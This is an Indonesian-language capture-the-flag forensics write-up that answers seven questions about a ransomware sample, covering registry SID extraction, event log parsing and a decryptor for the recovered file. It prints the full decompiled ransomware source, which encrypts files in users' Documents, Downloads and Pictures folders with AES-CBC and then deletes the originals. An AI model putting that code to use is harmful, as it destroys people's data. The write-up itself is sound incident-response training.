the type of an ordinary ransomware challs

Disini gw diberikan file .ad1 dan service netcat untuk menjawab soal soal yang diberi di service netcat tersebut, total ada 7 pertanyaan.

Q1: A suspicious executable was found in the Downloads folder. What is the SHA256 Hash of this malware?

Disini untuk menjawabnya, gw perlu meng-dump .exe file nya yang berada di folder Downloads menggunakan FTK Imager, dan cek hask nya

Answer: aeb4cc771ae6f76b17ad1e8fb44d69cf5e5cea24adb23af03cae1dc7fd5e743c

Q2: The malware targets specific users by incorporating their unique system identifier into the encryption key. What is the SID (Security Identifier) of the infected user? Answer format: S-1-5-21-xxxxxxxxxx-xxxxxxxxxx-xxxxxxxxx

Disini gw perlu mencari SID dari user yang terinfeksi. Informasi ini tersimpan di registry key ProfileList dalam hive SOFTWARE. Gw menggunakan hivexregedit untuk mengekspor key tersebut.

1
hivexregedit --export --unsafe --prefix 'HKEY_LOCAL_MACHINE\SOFTWARE' SOFTWARE '\Microsoft\Windows NT\CurrentVersion\ProfileList' > sid.reg

1
Windows Registry Editor Version 5.00
2

3
[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\ProfileList]
4
"Default"=hex(2):25,00,53,00,79,00,73,00,74,00,65,00,6d,00,44,00,72,00,69,00,76,00,65,00,25,00,5c,00,55,00,73,00,65,00,72,00,73,00,5c,00,44,00,65,00,66,00,61,00,75,00,6c,00,74,00,00,00
5
"ProfilesDirectory"=hex(2):25,00,53,00,79,00,73,00,74,00,65,00,6d,00,44,00,72,00,69,00,76,00,65,00,25,00,5c,00,55,00,73,00,65,00,72,00,73,00,00,00
6
"ProgramData"=hex(2):25,00,53,00,79,00,73,00,74,00,65,00,6d,00,44,00,72,00,69,00,76,00,65,00,25,00,5c,00,50,00,72,00,6f,00,67,00,72,00,61,00,6d,00,44,00,61,00,74,00,61,00,00,00
7
"Public"=hex(2):25,00,53,00,79,00,73,00,74,00,65,00,6d,00,44,00,72,00,69,00,76,00,65,00,25,00,5c,00,55,00,73,00,65,00,72,00,73,00,5c,00,50,00,75,00,62,00,6c,00,69,00,63,00,00,00
8

9
[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\ProfileList\S-1-5-18]
10
"Flags"=dword:0000000c
11
"ProfileImagePath"=hex(2):25,00,73,00,79,00,73,00,74,00,65,00,6d,00,72,00,6f,00,6f,00,74,00,25,00,5c,00,73,00,79,00,73,00,74,00,65,00,6d,00,33,00,32,00,5c,00,63,00,6f,00,6e,00,66,00,69,00,67,00,5c,00,73,00,79,00,73,00,74,00,65,00,6d,00,70,00,72,00,6f,00,66,00,69,00,6c,00,65,00,00,00
12
"RefCount"=dword:00000001
13
"Sid"=hex(3):01,01,00,00,00,00,00,05,12,00,00,00
14
"State"=dword:00000000
15

16
[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\ProfileList\S-1-5-19]
17
"Flags"=dword:00000000
18
"ProfileImagePath"=hex(2):25,00,73,00,79,00,73,00,74,00,65,00,6d,00,72,00,6f,00,6f,00,74,00,25,00,5c,00,53,00,65,00,72,00,76,00,69,00,63,00,65,00,50,00,72,00,6f,00,66,00,69,00,6c,00,65,00,73,00,5c,00,4c,00,6f,00,63,00,61,00,6c,00,53,00,65,00,72,00,76,00,69,00,63,00,65,00,00,00
19
"State"=dword:00000000
20

21
[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\ProfileList\S-1-5-20]
22
"Flags"=dword:00000000
23
"ProfileImagePath"=hex(2):25,00,73,00,79,00,73,00,74,00,65,00,6d,00,72,00,6f,00,6f,00,74,00,25,00,5c,00,53,00,65,00,72,00,76,00,69,00,63,00,65,00,50,00,72,00,6f,00,66,00,69,00,6c,00,65,00,73,00,5c,00,4e,00,65,00,74,00,77,00,6f,00,72,00,6b,00,53,00,65,00,72,00,76,00,69,00,63,00,65,00,00,00
24
"State"=dword:00000000
25

26
[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\ProfileList\S-1-5-21-2472383311-4215914088-769331741-500]
27
"Flags"=dword:00000000
28
"FullProfile"=dword:00000001
29
"LocalProfileLoadTimeHigh"=dword:01dc91fe
30
"LocalProfileLoadTimeLow"=dword:d39a598b
31
"LocalProfileUnloadTimeHigh"=dword:01dc921b
32
"LocalProfileUnloadTimeLow"=dword:a279ef83
33
"ProfileAttemptedProfileDownloadTimeHigh"=dword:00000000
34
"ProfileAttemptedProfileDownloadTimeLow"=dword:00000000
35
"ProfileImagePath"=hex(2):43,00,3a,00,5c,00,55,00,73,00,65,00,72,00,73,00,5c,00,68,00,6f,00,72,00,73,00,65,00,6d,00,61,00,6e,00,00,00
36
"ProfileLoadTimeHigh"=dword:00000000
37
"ProfileLoadTimeLow"=dword:00000000
38
"RunLogonScriptSync"=dword:00000000
39
"Sid"=hex(3):01,05,00,00,00,00,00,05,15,00,00,00,4f,93,5d,93,68,be,49,fb,1d,12,db,2d,f4,01,00,00
40
"State"=dword:00000304

Dari hasil dump registry tersebut, terlihat entry untuk S-1-5-21-2472383311-4215914088-769331741.

Answer: S-1-5-21-2472383311-4215914088-769331741

Q3: The malware leaves a trace of its initialization within the Windows Event Logs. What is the Event ID used by the malware to log its persistence entry?

Sebelumnya karna gw udah dump malicious .exe nya, kita bisa cek bahwa binary tersebut ternyata adalah pyinstaller, langsung gw extract

dan ini hasil dari extract pyinstaller-nya

kita dapet updater.pyc, langsung gw decompile pake pylingual

1
# Decompiled with PyLingual (https://pylingual.io)
2
# Internal filename: 'updater.py'
3
# Bytecode version: 3.14rc3 (3627)
4
# Source timestamp: 1970-01-01 00:00:00 UTC (0)
5

6
import os
7
import win32evtlog
8
import win32api
9
import win32security
10
import hashlib
11
import base64
12
import random
13
import string
14
from Crypto.Cipher import AES
15
from Crypto.Util.Padding import pad
16
def get_user_sid():
17
   try:
18
       username = win32api.GetUserName()
19
       domain = win32api.GetDomainName()
20
       sid_obj, _, _ = win32security.LookupAccountName(domain, username)
21
       sid_str = win32security.ConvertSidToStringSid(sid_obj)
22
       return sid_str
23
   except:
24
       return 'S-1-5-21-UNKNOWN'
25
def generate_and_log_token():
26
   token = ''.join(random.choices(string.ascii_uppercase + string.digits, k=16))
27
   msg = f'Update service initialized successfully. Reference ID: {token}.'
28
   try:
29
       h_event_log = win32evtlog.OpenEventLog(None, 'Application')
30
       win32evtlog.ReportEvent(h_event_log, win32evtlog.EVENTLOG_INFORMATION_TYPE, 0, 1337, None, [msg], None)
31
   except:
32
       pass
33
   return token
34
def encrypt_specific_folders(sid, token):
35
   raw_key = f'{sid}_{token}'.encode()
36
   key = hashlib.sha256(raw_key).digest()
37
   user_home = os.path.expanduser('~')
38
   target_folders = ['Documents', 'Downloads', 'Pictures']
39
   print('[*] Starting encryption...')
40
   for folder_name in target_folders:
41
       full_path = os.path.join(user_home, folder_name)
42
       if not os.path.exists(full_path):
43
           continue
44
       else:
45
           for root, dirs, files in os.walk(full_path):
46
               for filename in files:
47
                   if filename.lower().endswith(('.exe', '.py', '.dll', '.ini')):
48
                       continue
49
                   else:
50
                       filepath = os.path.join(root, filename)
51
                       try:
52
                           with open(filepath, 'rb') as f:
53
                               data = f.read()
54
                           iv = os.urandom(16)
55
                           cipher = AES.new(key, AES.MODE_CBC, iv)
56
                           ciphertext = cipher.encrypt(pad(data, AES.block_size))
57
                           enc_filename = base64.b64encode(filename.encode()).decode()
58
                           output_path = os.path.join(root, enc_filename)
59
                           with open(output_path, 'wb') as f:
60
                               f.write(iv)
61
                               f.write(ciphertext)
62
                           os.remove(filepath)
63
                           print(f'[+] Encrypted: {filename}')
64
                       except Exception as e:
65
                           pass
66
if __name__ == '__main__':
67
   sid = get_user_sid()
68
   token = generate_and_log_token()
69
   encrypt_specific_folders(sid, token)
70
   print('[!] DONE.')

dari source yang sudah didapat dari hasil decompile, kita tau bahwa jawabannya adalah 1337

Answer: 1337

Q4: Within the description of the event log identified in Question 3, the malware stores a unique “Reference ID” or token. What is the value of this Secret Token?

Disini gw pake EvtxECmd untuk parsing Application.evtx yang berada di path C:\Windows\System32\winevt\Logs\Application.evtx, setelah dapet langsung grep Reference ID ke Application.evtx

Answer: OOM9OV5VPRNIK3S2

Q5: To establish an incident timeline, determine the exact time the malware recorded its persistence log. What is the timestamp in UTC?

Disini kita tau karna telah mengexport menjadi csv, jadi kita bisa lihat timestampnya

1
312,312,2026-01-30 16:02:39.0697403,1337,Info,Application,Application,0,0,horseman,16,,,,,,,,,,,,False,C:\Users\Bara\ceteep\ara7\for\horseman\Application.evtx,0x80000000000000,0,"{""EventData"":{""Data"":""Update service initialized successfully. Reference ID: OOM9OV5VPRNIK3S2."",""Binary"":""""}}

kalo berdasarkan data di atas, seharusnya kan jawabannya 2026-01-30 16:02:39, tetapi saat gw submit salah, jadi gw coba untuk convert ke banyak nya zona waktu, dan salah satunya gw mencoba convert ke UTC 5

dan pas coba disubmit, ternyata bener

Answer: 2026-01-30 11:02:39

Q6: Based on the header analysis of the encrypted files and the malware’s logic, identify the encryption algorithm and mode used.

Disini karna sebelumnya gw udah decompile updater.pyc nya, jadi kita tau bahwa berdasarkan source nya

1
iv = os.urandom(16)
2
cipher = AES.new(key, AES.MODE_CBC, iv)
3
ciphertext = cipher.encrypt(pad(data, AES.block_size))
4
enc_filename = base64.b64encode(filename.encode()).decode()
5
output_path = os.path.join(root, enc_filename)

bahwa algorithm yang digunakan adalah AES dengan mode CBC

Answer: AES-CBC

Q7: DATA RECOVERY (FINAL) The user reports losing a critical file named ‘confidential.txt’ in the Documents folder. Using your findings (SID + Token + IV), decrypt the file and reveal the secret string inside.

Dengan menyatukan findinds yang sudah kita dapat, kita bisa membuat decryptor nya seperti ini

1
import hashlib
2
from Crypto.Cipher import AES
3
from Crypto.Util.Padding import unpad
4

5
TOKEN = "OOM9OV5VPRNIK3S2"
6
FILE  = "Y29uZmlkZW50aWFsLnR4dA=="
7

8
candidates = [
9
    "S-1-5-21-2472383311-4215914088-769331741",      # domain SID (format Q2)
10
    "S-1-5-21-2472383311-4215914088-769331741-500",  # full user SID
11
]
12

13
data = open(FILE, "rb").read()
14
iv, ct = data[:16], data[16:]
15

16
for SID in candidates:
17
    raw_key = f"{SID}_{TOKEN}".encode()
18
    key = hashlib.sha256(raw_key).digest()
19

20
    try:
21
        pt = unpad(AES.new(key, AES.MODE_CBC, iv).decrypt(ct), AES.block_size)
22
        print("[OK] SID =", SID)
23
        print(pt.decode("utf-8"))
24
        break
25
    except Exception as e:
26
        print("[FAIL] SID =", SID, "|", e)

Answer: b967081a1a071c25e2c4437e2e124b60b73407ec8eceb52e1eecc00caa1873ba

Nah jawabannya udah kekumpul semua, langsung submit ke netcat service nya

Answer: ARA7{GG!_y0u_4r3_4_f0r3ns1c_M4st3r_&_R4ns0mw4r3_hUnT3R_HORSEMAN_SOLVED!!!!}